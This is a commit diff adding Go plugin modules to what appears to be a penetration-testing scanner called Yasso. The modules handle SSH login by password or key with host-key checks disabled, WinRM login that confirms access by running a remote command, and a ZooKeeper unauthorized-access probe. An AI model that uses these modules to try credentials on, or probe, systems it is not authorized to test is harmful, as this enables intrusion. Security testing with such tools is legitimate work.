||||
|
||||
encodedDst := make([]byte, len(dst)*2)
|
||||
for i, b := range []byte(dst) {
|
||||
encodedDst[i*2] = b
|
||||
}
|
||||
|
||||
netname := []byte{0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00}
|
||||
binary.LittleEndian.PutUint16(netname[2:], uint16(len(encodedDst)))
|
||||
netname = append(netname, encodedDst...)
|
||||
|
||||
base = append(base, netname...)
|
||||
|
||||
nbhd := make([]byte, 4)
|
||||
binary.BigEndian.PutUint32(nbhd, uint32(len(base)))
|
||||
nbhd = append(nbhd, base...)
|
||||
return nbhd
|
||||
}
|
||||
|
||||
//-------------------------------------------------
|
||||
126
core/plugin/ssh.go
Normal file
126
core/plugin/ssh.go
Normal file
@@ -0,0 +1,126 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"Yasso/core/utils"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"golang.org/x/crypto/ssh"
|
||||
"io/ioutil"
|
||||
"net"
|
||||
"os"
|
||||
"path"
|
||||
"regexp"
|
||||
"strings"
|
||||
"time"
|
||||
)
|
||||
|
||||
func SshConnByUser(info config.ServiceConn, user, pass string) (*ssh.Client, bool, error) {
|
||||
sshConfig := &ssh.ClientConfig{User: user, Auth: []ssh.AuthMethod{ssh.Password(pass)}, HostKeyCallback: ssh.InsecureIgnoreHostKey(), Timeout: info.Timeout}
|
||||
con, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Hostname, info.Port), sshConfig)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
return ssh.NewClient(c, ch, re), true, err
|
||||
}
|
||||
|
||||
func SshConnByKey(info config.ServiceConn, user string) (*ssh.Client, bool, error) {
|
||||
var (
|
||||
err error
|
||||
HomePath string
|
||||
key []byte
|
||||
)
|
||||
switch {
|
||||
case info.PublicKey == "":
|
||||
HomePath, err = os.UserHomeDir()
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
key, err = ioutil.ReadFile(path.Join(HomePath, ".ssh", "id_rsa"))
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
case info.PublicKey != "":
|
||||
key, err = ioutil.ReadFile(info.PublicKey)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
}
|
||||
signer, err := ssh.ParsePrivateKey(key)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
sshConfig := &ssh.ClientConfig{
|
||||
User: user,
|
||||
Auth: []ssh.AuthMethod{
|
||||
ssh.PublicKeys(signer),
|
||||
},
|
||||
Timeout: info.Timeout,
|
||||
HostKeyCallback: ssh.InsecureIgnoreHostKey(),
|
||||
}
|
||||
con, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
|
||||
c, ch, re, err := ssh.NewClientConn(con, fmt.Sprintf("%v:%v", info.Hostname, info.Port), sshConfig)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
return ssh.NewClient(c, ch, re), true, err
|
||||
}
|
||||
|
||||
func VersionSSH(info config.ServiceConn) string {
|
||||
buff, err := sshConn(info)
|
||||
if err != nil {
|
||||
logger.Fatal(fmt.Sprintf("%s ssh conn has an error", info.Hostname))
|
||||
return ""
|
||||
}
|
||||
ok, _ := regexp.Match(`^SSH.\d`, buff)
|
||||
str := utils.ByteToStringParse(buff)
|
||||
if ok {
|
||||
logger.Info(fmt.Sprintf("%s:%v [%v]", info.Hostname, info.Port, strings.Split(str, "\\x0d\\x0a")[0]))
|
||||
return fmt.Sprintf("%s:%v [%v]", info.Hostname, info.Port, strings.Split(str, "\\x0d\\x0a")[0])
|
||||
}
|
||||
return ""
|
||||
}
|
||||
|
||||
// sshConn 连接到tcp
|
||||
func sshConn(info config.ServiceConn) ([]byte, error) {
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), time.Duration(info.Timeout))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
_ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second))
|
||||
reply := make([]byte, 256)
|
||||
_, err = conn.Read(reply)
|
||||
|
||||
var buffer [256]byte
|
||||
if err == nil && bytes.Equal(reply[:], buffer[:]) == false {
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
return reply, nil
|
||||
}
|
||||
conn, err = net.DialTimeout("tcp", fmt.Sprintf("%v:%v", info.Hostname, info.Port), time.Duration(info.Timeout))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
msg := "GET /test HTTP/1.1\r\n\r\n"
|
||||
_, err = conn.Write([]byte(msg))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
_ = conn.SetDeadline(time.Now().Add(time.Duration(2) * time.Second))
|
||||
reply = make([]byte, 256)
|
||||
_, _ = conn.Read(reply)
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
return reply, nil
|
||||
}
|
||||
30
core/plugin/winrm.go
Normal file
30
core/plugin/winrm.go
Normal file
@@ -0,0 +1,30 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"fmt"
|
||||
"github.com/masterzen/winrm"
|
||||
"net"
|
||||
"os"
|
||||
)
|
||||
|
||||
func WinRMAuth(info config.ServiceConn, user, pass string) (*winrm.Client, bool, error) {
|
||||
var err error
|
||||
params := winrm.DefaultParameters
|
||||
// 设置代理认证
|
||||
params.Dial = func(network, addr string) (net.Conn, error) {
|
||||
return net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
|
||||
}
|
||||
// 设置输入
|
||||
endpoint := winrm.NewEndpoint("other-host", 5985, false, false, nil, nil, nil, 0)
|
||||
client, err := winrm.NewClientWithParameters(endpoint, user, pass, params)
|
||||
stdout := os.Stdout
|
||||
res, err := client.Run("echo ISOK > nul", stdout, os.Stderr)
|
||||
if err != nil {
|
||||
return nil, false, err
|
||||
}
|
||||
if res == 0 && err == nil {
|
||||
return client, true, nil
|
||||
}
|
||||
return nil, false, err
|
||||
}
|
||||
29
core/plugin/zookeeper.go
Normal file
29
core/plugin/zookeeper.go
Normal file
@@ -0,0 +1,29 @@
|
||||
package plugin
|
||||
|
||||
import (
|
||||
"Yasso/config"
|
||||
"Yasso/core/logger"
|
||||
"bytes"
|
||||
"fmt"
|
||||
"net"
|
||||
)
|
||||
|
||||
func ZookeeperConn(info config.ServiceConn, user, pass string) (bool, error) {
|
||||
payload := []byte("envidddfdsfsafafaerwrwerqwe")
|
||||
conn, err := net.DialTimeout("tcp", fmt.Sprintf("%s:%v", info.Hostname, info.Port), info.Timeout)
|
||||
if err != nil {
|
||||
return false, err
|
||||
}
|
||||
_, err = conn.Write(payload)
|
||||
if err == nil {
|
||||
reply := make([]byte, 1024)
|
||||
n, err := conn.Read(reply)
|
||||
if err == nil {
|
||||
if bytes.Contains(reply[:n], []byte("Environment")) {
|
||||
logger.Success(fmt.Sprintf("zookeeper %s unauthorized", fmt.Sprintf("%v:%v", info.Hostname, info.Port)))
|
||||
return true, nil
|
||||
}
|
||||
}
|
||||
}
|
||||
return false, err
|
||||
}
|
||||
26
core/utils/utils.go
Normal file
26
core/utils/utils.go
Normal file
@@ -0,0 +1,26 @@
|
||||
package utils
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
func ByteToStringParse(p []byte) string {
|
||||
var w []string
|
||||
var res string
|
||||
for i := 0; i < len(p); i++ {
|
||||
if p[i] > 32 && p[i] < 127 {
|
||||
w = append(w, string(p[i]))
|
||||
continue
|
||||
}
|
||||
asciiTo16 := fmt.Sprintf("\\x%s", hex.EncodeToString(p[i:i+1]))
|
||||
w = append(w, asciiTo16)
|
||||
}
|
||||
res = strings.Join(w, "")
|
||||
if strings.Contains(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00") {
|
||||
s := strings.Split(res, "\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00")
|
||||
return s[0]
|
||||
}
|
||||
return res
|
||||
}
|
||||
Reference in New Issue
Block a user